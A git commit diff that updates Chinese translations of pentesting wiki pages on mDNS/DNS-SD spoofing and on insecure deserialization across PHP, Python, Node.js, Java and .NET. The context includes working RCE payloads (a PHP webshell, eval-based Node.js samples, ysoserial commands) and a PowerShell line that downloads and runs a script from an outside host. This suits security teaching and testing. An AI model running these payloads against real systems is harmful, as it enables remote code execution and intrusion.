Translated ['src/network-services-pentesting/5353-udp-multicast-dns-mdns

This commit is contained in:
Translator 2025-08-20 14:36:52 +00:00
parent 261ad71238
commit 5c8c4822df
2 changed files with 125 additions and 73 deletions

View File

@ -12,7 +12,7 @@ PORT STATE SERVICE
关键协议细节,您在攻击中经常利用: 关键协议细节,您在攻击中经常利用:
- .local 区域中的名称通过 mDNS 解析。 - .local 区域中的名称通过 mDNS 解析。
- QU查询单播位可能请求单播回复即使对于多播问题。 - QU查询单播位可能请求单播回复即使对于多播问题。
- 实现应忽略未从本地链路源发的包;一些栈仍然接受它们。 - 实现应忽略未从本地链路源发的包;一些栈仍然接受它们。
- 探测/公告强制唯一的主机/服务名称;在这里干扰会造成 DoS/“名称占用”条件。 - 探测/公告强制唯一的主机/服务名称;在这里干扰会造成 DoS/“名称占用”条件。
## DNS-SD 服务模型 ## DNS-SD 服务模型
@ -69,9 +69,9 @@ sudo python3 pholus3.py <iface> -afre -stimeout 1000
### 服务欺骗和冒充 (MitM) ### 服务欺骗和冒充 (MitM)
冒充广告的 DNS-SD 服务打印机、AirPlay、HTTP、文件共享迫使客户端连接到您。这在以下情况下特别有用 冒充广告的 DNS-SD 服务打印机、AirPlay、HTTP、文件共享迫使客户端连接到您。这在以下情况下特别有用
- 通过伪装 _ipp._tcp 或 _printer._tcp 捕获文档。 - 通过欺骗 _ipp._tcp 或 _printer._tcp 捕获文档。
- 引诱客户端连接到 HTTP/HTTPS 服务以收集令牌/ cookies 或传递有效载荷。 - 引诱客户端连接到 HTTP/HTTPS 服务以收集令牌/ cookies 或传递有效载荷。
- 在 Windows 客户端与伪服务协商身份验证时结合 NTLM 中继技术。 - 在 Windows 客户端与伪服务协商身份验证时结合 NTLM 中继技术。
使用 bettercap 的 zerogod 模块mDNS/DNS-SD 欺骗者/冒充者): 使用 bettercap 的 zerogod 模块mDNS/DNS-SD 欺骗者/冒充者):
```bash ```bash
@ -111,8 +111,8 @@ sudo bettercap -iface <iface> -eval "zerogod.discovery on"
``` ```
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD) HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
``` ```
- 在受管环境中禁用内置的“mDNS (UDP-In)”Windows Defender防火墙规则至少在域配置文件上以防止入站mDNS处理同时保留家庭/漫游功能。 - 在受管理的环境中禁用内置的“mDNS (UDP-In)”Windows Defender防火墙规则至少在域配置文件上以防止入站mDNS处理同时保留家庭/漫游功能。
- 在较新的Windows 11版本/GPO模板,使用策略“计算机配置 > 管理模板 > 网络 > DNS客户端 > 配置多播DNS (mDNS) 协议”,并将其设置为禁用。 - 在较新的Windows 11版本/GPO模板,使用策略“计算机配置 > 管理模板 > 网络 > DNS客户端 > 配置多播DNS (mDNS) 协议”,并将其设置为禁用。
- Linux (Avahi) - Linux (Avahi)
- 在不需要时锁定发布:设置`disable-publishing=yes`,并在`/etc/avahi/avahi-daemon.conf`中使用`allow-interfaces=` / `deny-interfaces=`限制接口。 - 在不需要时锁定发布:设置`disable-publishing=yes`,并在`/etc/avahi/avahi-daemon.conf`中使用`allow-interfaces=` / `deny-interfaces=`限制接口。
- 考虑`check-response-ttl=yes`,并避免`enable-reflector=yes`,除非严格需要;在反射时优先使用`reflect-filters=`允许列表。 - 考虑`check-response-ttl=yes`,并避免`enable-reflector=yes`,除非严格需要;在反射时优先使用`reflect-filters=`允许列表。
@ -122,7 +122,7 @@ HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD
## 工具快速参考 ## 工具快速参考
- nmap NSE: `dns-service-discovery``broadcast-dns-service-discovery` - nmap NSE: `dns-service-discovery``broadcast-dns-service-discovery`
- Pholus主动扫描反向mDNS扫描DoS和欺骗助手。 - Pholus: 主动扫描反向mDNS扫描DoS和欺骗助手。
```bash ```bash
# 被动嗅探(超时秒数) # 被动嗅探(超时秒数)
sudo python3 pholus3.py <iface> -stimeout 60 sudo python3 pholus3.py <iface> -stimeout 60
@ -133,7 +133,7 @@ sudo python3 pholus3.py <iface> --request
# 对子网进行反向mDNS扫描 # 对子网进行反向mDNS扫描
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24 sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
``` ```
- bettercap zerogod发现、保存、广告和冒充mDNS/DNS-SD服务见上面的示例 - bettercap zerogod: 发现、保存、广告和冒充mDNS/DNS-SD服务见上面的示例
## 欺骗/中间人攻击 ## 欺骗/中间人攻击

View File

@ -4,7 +4,7 @@
## Basic Information ## Basic Information
**序列化** 被理解为将对象转换为可以保存的格式的方法,目的是存储对象或将其作为通信过程的一部分进行传输。这种技术通常用于确保对象可以在稍后时间重新创建,保持其结构和状态。 **序列化** 被理解为将对象转换为可以保存的格式的方法,目的是存储对象或将其作为通信过程的一部分进行传输。这种技术通常用于确保对象可以在稍后时间重新创建,保持其结构和状态。
**反序列化** 则是抵消序列化的过程。它涉及将以特定格式结构化的数据重新构建回对象。 **反序列化** 则是抵消序列化的过程。它涉及将以特定格式结构化的数据重新构建回对象。
@ -74,7 +74,7 @@ This is a test<br />
*/ */
?> ?>
``` ```
如果你查看结果,你会发现当对象被反序列化时,**`__wakeup`** 和 **`__destruct`** 函数被调用。请注意,在一些教程中,你会发现当尝试打印某个属性时会调用 **`__toString`** 函数,但显然这**不再发生**。 如果你查看结果,你会发现当对象被反序列化时,**`__wakeup`** 和 **`__destruct`** 函数被调用。请注意,在一些教程中,你会发现当尝试打印某个属性时**`__toString`** 函数被调用,但显然这**不再发生**。
> [!WARNING] > [!WARNING]
> 如果在类中实现了 **`__unserialize(array $data)`** 方法,则会**调用该方法而不是 `__wakeup()`**。它允许你通过提供序列化数据作为数组来反序列化对象。你可以使用此方法来反序列化属性并在反序列化时执行任何必要的任务。 > 如果在类中实现了 **`__unserialize(array $data)`** 方法,则会**调用该方法而不是 `__wakeup()`**。它允许你通过提供序列化数据作为数组来反序列化对象。你可以使用此方法来反序列化属性并在反序列化时执行任何必要的任务。
@ -90,7 +90,7 @@ This is a test<br />
> } > }
> ``` > ```
你可以在这里阅读一个解释过的 **PHP 示例**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/),这里 [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) 或这里 [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/) 你可以在这里阅读一个解释过的 **PHP 示例**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/)这里 [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) 或这里 [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
### PHP 反序列化 + 自动加载类 ### PHP 反序列化 + 自动加载类
@ -115,12 +115,12 @@ $o->param1 =& $o->param22;
$o->param = "PARAM"; $o->param = "PARAM";
$ser=serialize($o); $ser=serialize($o);
``` ```
### 防止 PHP 对象注入与 `allowed_classes` ### 使用 `allowed_classes` 防止 PHP 对象注入
> [!INFO] > [!INFO]
> 在 **PHP 7.0** 中添加了 `unserialize()`**第二个参数**`$options` 数组)的支持。在旧版本中,该函数仅接受序列化字符串,因此无法限制可以实例化哪些类。 > 在 **PHP 7.0** 中添加了 `unserialize()`**第二个参数**`$options` 数组)的支持。在旧版本中,该函数仅接受序列化字符串,因此无法限制可以实例化哪些类。
`unserialize()`**实例化它在序列化流中找到的每个类**,除非另有说明。自 PHP 7 起,可以使用 [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php) 选项来限制此行为: `unserialize()`**实例化它在序列化流中找到的每个类**,除非另有说明。自 PHP 7 起,可以使用 [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php) 选项限制该行为:
```php ```php
// NEVER DO THIS full object instantiation // NEVER DO THIS full object instantiation
$object = unserialize($userControlledData); $object = unserialize($userControlledData);
@ -139,7 +139,7 @@ $object = unserialize($userControlledData, [
#### 真实案例Everest Forms (WordPress) CVE-2025-52709 #### 真实案例Everest Forms (WordPress) CVE-2025-52709
WordPress 插件 **Everest Forms ≤ 3.2.2** 尝试通过一个辅助包装器来增强防御,但忘记了旧版 PHP。 WordPress 插件 **Everest Forms ≤ 3.2.2** 尝试通过一个辅助包装器来增强防御,但忽略了旧版 PHP。
```php ```php
function evf_maybe_unserialize($data, $options = array()) { function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) { if (is_serialized($data)) {
@ -169,13 +169,13 @@ O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
### PHPGGC (ysoserial for PHP) ### PHPGGC (ysoserial for PHP)
[**PHPGGC**](https://github.com/ambionics/phpggc) 可以帮助生成有效载荷以滥用 PHP 反序列化。\ [**PHPGGC**](https://github.com/ambionics/phpggc) 可以帮助生成有效载荷以滥用 PHP 反序列化。\
请注意,在某些情况下,**无法在应用程序的源代码中找到滥用反序列化的方法**,但您可能能够 **滥用外部 PHP 扩展的代码。**\ 请注意,在某些情况下,**无法在应用程序的源代码中找到滥用反序列化的方法**,但你可能能够 **滥用外部 PHP 扩展的代码。**\
因此,如果可以,请检查服务器的 `phpinfo()`**在互联网上搜索**(甚至在 **PHPGGC****gadgets** 中)一些您可以滥用的可能的 gadget。 因此,如果可以,请检查服务器的 `phpinfo()`**在互联网上搜索**(甚至在 **PHPGGC****gadgets** 中)一些可能的 gadget 你可以滥用
### phar:// 元数据反序列化 ### phar:// 元数据反序列化
如果您发现一个 LFI 仅仅是读取文件而不执行其中的 PHP 代码,例如使用 _**file_get_contents(), fopen(), file() 或 file_exists(), md5_file(), filemtime() 或 filesize()**_**。** 可以尝试滥用在使用 **phar** 协议时 **读取** **文件** 时发生的 **反序列化**。\ 如果你发现一个 LFI 只是读取文件而不执行其中的 PHP 代码,例如使用 _**file_get_contents(), fopen(), file() 或 file_exists(), md5_file(), filemtime() 或 filesize()**_**。** 可以尝试滥用在使用 **phar** 协议时 **读取** **文件** 时发生的 **反序列化**。\
有关更多信息,请阅读以下帖子: 有关更多信息,请阅读以下帖子:
{{#ref}} {{#ref}}
@ -197,7 +197,7 @@ print(base64.b64encode(pickle.dumps(P())))
``` ```
在检查绕过技术之前,如果您正在运行 python3请尝试使用 `print(base64.b64encode(pickle.dumps(P(),2)))` 生成与 python2 兼容的对象。 在检查绕过技术之前,如果您正在运行 python3请尝试使用 `print(base64.b64encode(pickle.dumps(P(),2)))` 生成与 python2 兼容的对象。
有关**pickle jails** 中逃逸的更多信息,请查看: 有关逃离 **pickle jails** 的更多信息,请查看:
{{#ref}} {{#ref}}
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/ ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
@ -205,7 +205,7 @@ print(base64.b64encode(pickle.dumps(P())))
### Yaml **&** jsonpickle ### Yaml **&** jsonpickle
以下页面介绍了 **滥用不安全的 yaml 反序列化** 的技术,并以一个工具结束,该工具可用于生成 **Pickle, PyYAML, jsonpickle 和 ruamel.yaml** 的 RCE 反序列化有效负载: 以下页面介绍了 **滥用不安全的 yaml 反序列化** 的技术,并以一个可用于生成 **Pickle, PyYAML, jsonpickle 和 ruamel.yaml** 的 RCE 反序列化有效负载的工具结束
{{#ref}} {{#ref}}
python-yaml-deserialization.md python-yaml-deserialization.md
@ -283,7 +283,7 @@ console.log("Serialized: \n" + payload_serialized)
![](<../../images/image (446).png>) ![](<../../images/image (446).png>)
正如您在最后一段代码中看到的,**如果找到该标志**,则使用 `eval` 来反序列化函数,因此基本上**用户输入被用于 `eval` 函数内部**。 正如您在最后一段代码中看到的,**如果找到该标志**,则使用 `eval` 来反序列化函数,因此基本上**用户输入被用于 `eval` 函数**。
然而,**仅仅序列化**一个函数**不会执行它**,因为在我们的示例中需要某部分代码**调用 `y.rce`**,这非常**不可能**。\ 然而,**仅仅序列化**一个函数**不会执行它**,因为在我们的示例中需要某部分代码**调用 `y.rce`**,这非常**不可能**。\
无论如何,您可以**修改序列化对象****添加一些括号**,以便在对象被反序列化时自动执行序列化的函数。\ 无论如何,您可以**修改序列化对象****添加一些括号**,以便在对象被反序列化时自动执行序列化的函数。\
@ -334,7 +334,7 @@ funcster.deepDeserialize(desertest3)
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript) ### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
**serialize-javascript** 包专门用于序列化目的,缺乏任何内置的反序列化功能。用户需自行实现反序列化的方法。官方示例建议直接使用 `eval` 来反序列化序列化的数据: **serialize-javascript** 包专门用于序列化目的,缺乏任何内置的反序列化功能。用户需自行实现反序列化的方法。官方示例建议直接使用 `eval` 来反序列化序列化的数据:
```javascript ```javascript
function deserialize(serializedJavascript) { function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")") return eval("(" + serializedJavascript + ")")
@ -354,9 +354,9 @@ var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()" "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test) deserialize(test)
``` ```
**有关更多信息,请阅读此来源**[ **更多信息读这个源**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.** **有关更多信息,请阅读此来源**[ **更多信息请阅读此来源**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
### Cryo library ### Cryo
在以下页面中,您可以找到有关如何滥用此库以执行任意命令的信息: 在以下页面中,您可以找到有关如何滥用此库以执行任意命令的信息:
@ -367,14 +367,14 @@ deserialize(test)
在 Java 中,**反序列化回调在反序列化过程中执行**。攻击者可以利用这一执行过程,通过构造恶意有效负载来触发这些回调,从而导致潜在的有害操作执行。 在 Java 中,**反序列化回调在反序列化过程中执行**。攻击者可以利用这一执行过程,通过构造恶意有效负载来触发这些回调,从而导致潜在的有害操作执行。
### Fingerprints ### 指纹
#### White Box #### 白盒
要识别代码库中潜在序列化漏洞,请搜索: 要识别代码库中潜在序列化漏洞,请搜索:
- 实现了 `Serializable` 接口的类。 - 实现了 `Serializable` 接口的类。
- 使用 `java.io.ObjectInputStream``readObject``readUnshare` 函数。 - 使用 `java.io.ObjectInputStream``readObject``readUnshared` 函数。
特别注意: 特别注意:
@ -385,7 +385,7 @@ deserialize(test)
- `ObjectInputStream.readUnshared` - `ObjectInputStream.readUnshared`
- 一般使用 `Serializable` - 一般使用 `Serializable`
#### Black Box #### 黑盒
对于黑盒测试,寻找特定的 **签名或“魔法字节”**,以表示来自 `ObjectInputStream` 的 Java 序列化对象: 对于黑盒测试,寻找特定的 **签名或“魔法字节”**,以表示来自 `ObjectInputStream` 的 Java 序列化对象:
@ -394,7 +394,7 @@ deserialize(test)
- HTTP 响应头中 `Content-type` 设置为 `application/x-java-serialized-object` - HTTP 响应头中 `Content-type` 设置为 `application/x-java-serialized-object`
- 表示先前压缩的十六进制模式:`1F 8B 08 00` - 表示先前压缩的十六进制模式:`1F 8B 08 00`
- 表示先前压缩的 Base64 模式:`H4sIA` - 表示先前压缩的 Base64 模式:`H4sIA`
- 扩展名为 `.faces` 的 Web 文件和 `faces.ViewState` 参数。在 Web 应用程序中发现这些模式应提示进行详细检查,如在 [关于 Java JSF ViewState 反序列化的帖子](java-jsf-viewstate-.faces-deserialization.md) 中所述。 - 具有 `.faces` 扩展名的 Web 文件和 `faces.ViewState` 参数。在 Web 应用程序中发现这些模式应提示进行详细检查,如在 [关于 Java JSF ViewState 反序列化的帖子](java-jsf-viewstate-.faces-deserialization.md) 中所述。
``` ```
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
``` ```
@ -404,31 +404,31 @@ javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAA
#### 白盒测试 #### 白盒测试
你可以检查是否安装了任何已知存在漏洞的应用程序。 你可以检查是否安装了任何已知漏洞的应用程序。
```bash ```bash
find . -iname "*commons*collection*" find . -iname "*commons*collection*"
grep -R InvokeTransformer . grep -R InvokeTransformer .
``` ```
您可以尝试**检查所有已知的易受攻击库**,并且[**Ysoserial**](https://github.com/frohoff/ysoserial)可以提供利用。或者您可以检查[Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json)指示的库。\ 您可以尝试**检查所有已知的易受攻击库**,并且[**Ysoserial**](https://github.com/frohoff/ysoserial)可以提供利用。或者您可以检查[Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json)指示的库。\
您还可以使用[**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector)搜索可能被利用的gadget链。\ 您还可以使用[**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector)搜索可能被利用的gadget链。\
运行**gadgetinspector**(构建后)时,不必在意它所经历的大量警告/错误让它完成。它会将所有发现写入_gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_。请注意**gadgetinspector不会创建利用并且可能会指示误报**。 运行**gadgetinspector**(构建后)时,不必在意它所经历的大量警告/错误让它完成。它会将所有发现写入_gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_。请注意**gadgetinspector不会创建利用并且可能会指示误报**。
#### 黑盒测试 #### 黑盒测试
使用Burp扩展[**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md),您可以识别**可用的库**(甚至版本)。有了这些信息,选择一个有效载荷来利用漏洞可能会**更容易**。\ 使用Burp扩展[**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md),您可以识别**哪些库可用**(甚至包括版本)。有了这些信息,选择一个有效载荷来利用漏洞可能会**更容易**。\
[**阅读此文以了解更多关于GadgetProbe的信息**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)****\ [**阅读此文以了解更多关于GadgetProbe的信息**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
GadgetProbe专注于**`ObjectInputStream`反序列化**。 GadgetProbe专注于**`ObjectInputStream`反序列化**。
使用Burp扩展[**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner),您可以**识别可被ysoserial利用的易受攻击库**并**利用**它们。\ 使用Burp扩展[**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner),您可以**识别可被ysoserial利用的易受攻击库**并**利用**它们。\
[**阅读此文以了解更多关于Java Deserialization Scanner的信息。**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\ [**阅读此文以了解更多关于Java Deserialization Scanner的信息。**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
Java Deserialization Scanner专注于**`ObjectInputStream`**反序列化。 Java Deserialization Scanner专注于**`ObjectInputStream`**反序列化。
您还可以使用[**Freddy**](https://github.com/nccgroup/freddy)来**检测Burp中的反序列化**漏洞。此插件将检测**不仅是`ObjectInputStream`**相关的漏洞,还**包括**来自**Json**和**Yml**反序列化库的漏洞。在主动模式下,它将尝试使用延迟或DNS有效载荷来确认它们。\ 您还可以使用[**Freddy**](https://github.com/nccgroup/freddy)来**检测Burp中的反序列化**漏洞。此插件将检测**不仅是`ObjectInputStream`**相关的漏洞,还**包括**来自**Json**和**Yml**反序列化库的漏洞。在主动模式下,它将尝试使用sleep或DNS有效载荷确认这些漏洞。\
[**您可以在这里找到有关Freddy的更多信息。**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/) [**您可以在这里找到有关Freddy的更多信息。**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
**序列化测试** **序列化测试**
非所有内容都与检查服务器是否使用任何易受攻击库有关。有时您可以**更改序列化对象内部的数据并绕过某些检查**可能授予您在web应用程序中的管理员权限。\ 不是所有的事情都与检查服务器是否使用了任何易受攻击的库有关。有时您可以**更改序列化对象内部的数据并绕过某些检查**可能授予您在web应用程序中的管理员权限。\
如果您发现一个java序列化对象被发送到web应用程序**您可以使用**[**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **以更人性化的格式打印发送的序列化对象**。知道您发送了哪些数据将更容易修改它并绕过某些检查。 如果您发现一个java序列化对象被发送到web应用程序**您可以使用**[**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **以更人性化的格式打印发送的序列化对象**。知道您发送了哪些数据将更容易修改它并绕过某些检查。
### **利用** ### **利用**
@ -482,9 +482,9 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
# Base64 encode payload in base64 # Base64 encode payload in base64
base64 -w0 payload base64 -w0 payload
``` ```
在为 **java.lang.Runtime.exec()** 创建有效负载时,您 **不能使用特殊字符**,如 ">" 或 "|" 来重定向执行的输出,不能使用 "$()" 来执行命令,甚至不能 **通过空格** 分隔 **传递参数** 给命令(您可以执行 `echo -n "hello world"`,但不能执行 `python2 -c 'print "Hello world"'`)。为了正确编码有效负载,您可以 [使用这个网页](http://www.jackson-t.ca/runtime-exec-payloads.html)。 在为 **java.lang.Runtime.exec()** 创建有效负载时,您 **不能使用特殊字符**,如 ">" 或 "|" 来重定向执行的输出,不能使用 "$()" 来执行命令,甚至不能 **通过空格分隔**传递参数(您可以执行 `echo -n "hello world"`,但不能执行 `python2 -c 'print "Hello world"'`)。为了正确编码有效负载,您可以 [使用这个网页](http://www.jackson-t.ca/runtime-exec-payloads.html)。
请随意使用下一个脚本来创建 **所有可能的代码执行** 有效负载,适用于 Windows 和 Linux然后在易受攻击的网页上测试它们 请随意使用下一个脚本来创建 **所有可能的代码执行** 有效负载,适用于 Windows 和 Linux然后在易受攻击的网页上进行测试:
```python ```python
import os import os
import base64 import base64
@ -555,7 +555,7 @@ Java在各种目的上使用了大量的序列化例如
#### Transient objects #### Transient objects
一个实现了`Serializable`的类可以将类内任何不应该被序列化的对象实现为`transient`。例如 一个实现了`Serializable`的类可以将类内任何不应该被序列化的对象实现为`transient`。例如:
```java ```java
public class myAccount implements Serializable public class myAccount implements Serializable
{ {
@ -564,7 +564,7 @@ private transient double margin; // declared transient
``` ```
#### 避免序列化需要实现 Serializable 的类 #### 避免序列化需要实现 Serializable 的类
在某些 **对象必须实现 `Serializable`** 接口的场景中,由于类层次结构,存在意反序列化的风险。为防止这种情况,确保这些对象不可反序列化,通过定义一个始终抛出异常的 `final` `readObject()` 方法,如下所示: 在某些 **对象必须实现 `Serializable`** 接口的场景中,由于类层次结构,存在意反序列化的风险。为防止这种情况,确保这些对象不可反序列化,通过定义一个始终抛出异常的 `final` `readObject()` 方法,如下所示:
```java ```java
private final void readObject(ObjectInputStream in) throws java.io.IOException { private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized"); throw new java.io.IOException("Cannot be deserialized");
@ -598,7 +598,7 @@ return super.resolveClass(desc);
} }
} }
``` ```
**使用 Java Agent 增强安全性** 提供了一种在无法修改代码时的备用解决方案。此方法主要用于 **黑名单有害类**,使用 JVM 参数: **使用 Java Agent 进行安全增强** 提供了一种在无法修改代码时的备用解决方案。此方法主要用于 **黑名单有害类**,使用 JVM 参数:
``` ```
-javaagent:name-of-agent.jar -javaagent:name-of-agent.jar
``` ```
@ -662,12 +662,12 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
### 利用 ### 利用
所以,基本上有**堆服务以危险的方式使用JMS**。因此,如果您有**足够的权限**向这些服务发送消息(通常您需要有效的凭据),您能够发送**恶意对象序列化,这些对象将被消费者/订阅者反序列化**。\ 所以,基本上有**堆服务以危险的方式使用JMS**。因此,如果您有**足够的权限**向这些服务发送消息(通常您需要有效的凭据),您可能能够发送**恶意对象序列化,这些对象将被消费者/订阅者反序列化**。\
这意味着在此利用中,所有**将使用该消息的客户端将被感染**。 这意味着在此利用中,所有**将使用该消息的客户端将被感染**。
您应该记住即使服务存在漏洞因为它不安全地反序列化用户输入您仍然需要找到有效的gadget来利用该漏洞。 您应该记住即使服务存在漏洞因为它不安全地反序列化用户输入您仍然需要找到有效的gadget来利用该漏洞。
工具[JMET](https://github.com/matthiaskaiser/jmet)被创建用于**连接和攻击这些服务发送多个使用已知gadget序列化的恶意对象**。这些利用将在服务仍然存在漏洞且所使用的任何gadget在易受攻击的应用程序中时有效。 工具[JMET](https://github.com/matthiaskaiser/jmet)被创建用于**连接和攻击这些服务发送多个使用已知gadget序列化的恶意对象**。这些利用将在服务仍然存在漏洞且所使用的gadget在易受攻击的应用程序中时有效。
### 参考文献 ### 参考文献
@ -678,13 +678,13 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
## .Net ## .Net
在.Net的上下文中反序列化利用以类似于Java的方式操作其中gadget被利用在反序列化对象时运行特定代码。 在.Net的上下文中反序列化利用以类似于Java的方式操作其中gadget被利用在反序列化对象时运行特定代码。
### 指纹 ### 指纹
#### 白盒 #### 白盒
应检查源代码中是否存在以下情况 应检查源代码中是否存在以下内容
1. `TypeNameHandling` 1. `TypeNameHandling`
2. `JavaScriptTypeResolver` 2. `JavaScriptTypeResolver`
@ -705,7 +705,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
- **`--gadget`**用于指示要滥用的gadget指示在反序列化期间将被滥用以执行命令的类/函数)。 - **`--gadget`**用于指示要滥用的gadget指示在反序列化期间将被滥用以执行命令的类/函数)。
- **`--formatter`**,用于指示序列化利用的方法(您需要知道后端使用哪个库来反序列化有效负载,并使用相同的库进行序列化) - **`--formatter`**,用于指示序列化利用的方法(您需要知道后端使用哪个库来反序列化有效负载,并使用相同的库进行序列化)
- **`--output`**用于指示您是否希望以**原始**或**base64**编码的形式获得利用。_请注意**ysoserial.net**将使用**UTF-16LE**Windows上默认使用的编码对有效负载进行**编码因此如果您从Linux控制台获取原始数据并仅对其进行编码可能会遇到一些**编码兼容性问题**这将阻止利用正常工作在HTB JSON框中有效负载在UTF-16LE和ASCII中均有效但这并不意味着它总是有效。_ - **`--output`**用于指示您是否希望以**原始**或**base64**编码的形式获得利用。_请注意**ysoserial.net**将使用**UTF-16LE**Windows上默认使用的编码对有效负载进行**编码**因此如果您从Linux控制台获取原始数据并仅对其进行编码可能会遇到一些**编码兼容性问题**这将阻止利用正常工作在HTB JSON框中有效负载在UTF-16LE和ASCII中均有效但这并不意味着它总是有效。_
- **`--plugin`**ysoserial.net支持插件以制作**特定框架的利用**如ViewState - **`--plugin`**ysoserial.net支持插件以制作**特定框架的利用**如ViewState
#### 更多ysoserial.net参数 #### 更多ysoserial.net参数
@ -732,7 +732,7 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
#Create exploit using the created B64 shellcode #Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64 ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
``` ```
**ysoserial.net** 还有一个 **非常有趣的参数**,可以更好地理解每个漏洞是如何工作的: `--test`\ **ysoserial.net** 还有一个 **非常有趣的参数**,可以帮助更好地理解每个漏洞是如何工作的: `--test`\
如果你指定这个参数,**ysoserial.net** 将 **在本地尝试****漏洞,** 这样你可以测试你的有效载荷是否能正确工作。\ 如果你指定这个参数,**ysoserial.net** 将 **在本地尝试****漏洞,** 这样你可以测试你的有效载荷是否能正确工作。\
这个参数很有帮助,因为如果你查看代码,你会发现像以下这样的代码块(来自 [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208) 这个参数很有帮助,因为如果你查看代码,你会发现像以下这样的代码块(来自 [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)
```java ```java
@ -760,7 +760,7 @@ return obj;
} }
``` ```
在**之前的代码中存在可被利用的漏洞**。因此,如果您在 .Net 应用程序中发现类似的内容,这意味着该应用程序可能也存在漏洞。\ 在**之前的代码中存在可被利用的漏洞**。因此,如果您在 .Net 应用程序中发现类似的内容,这意味着该应用程序可能也存在漏洞。\
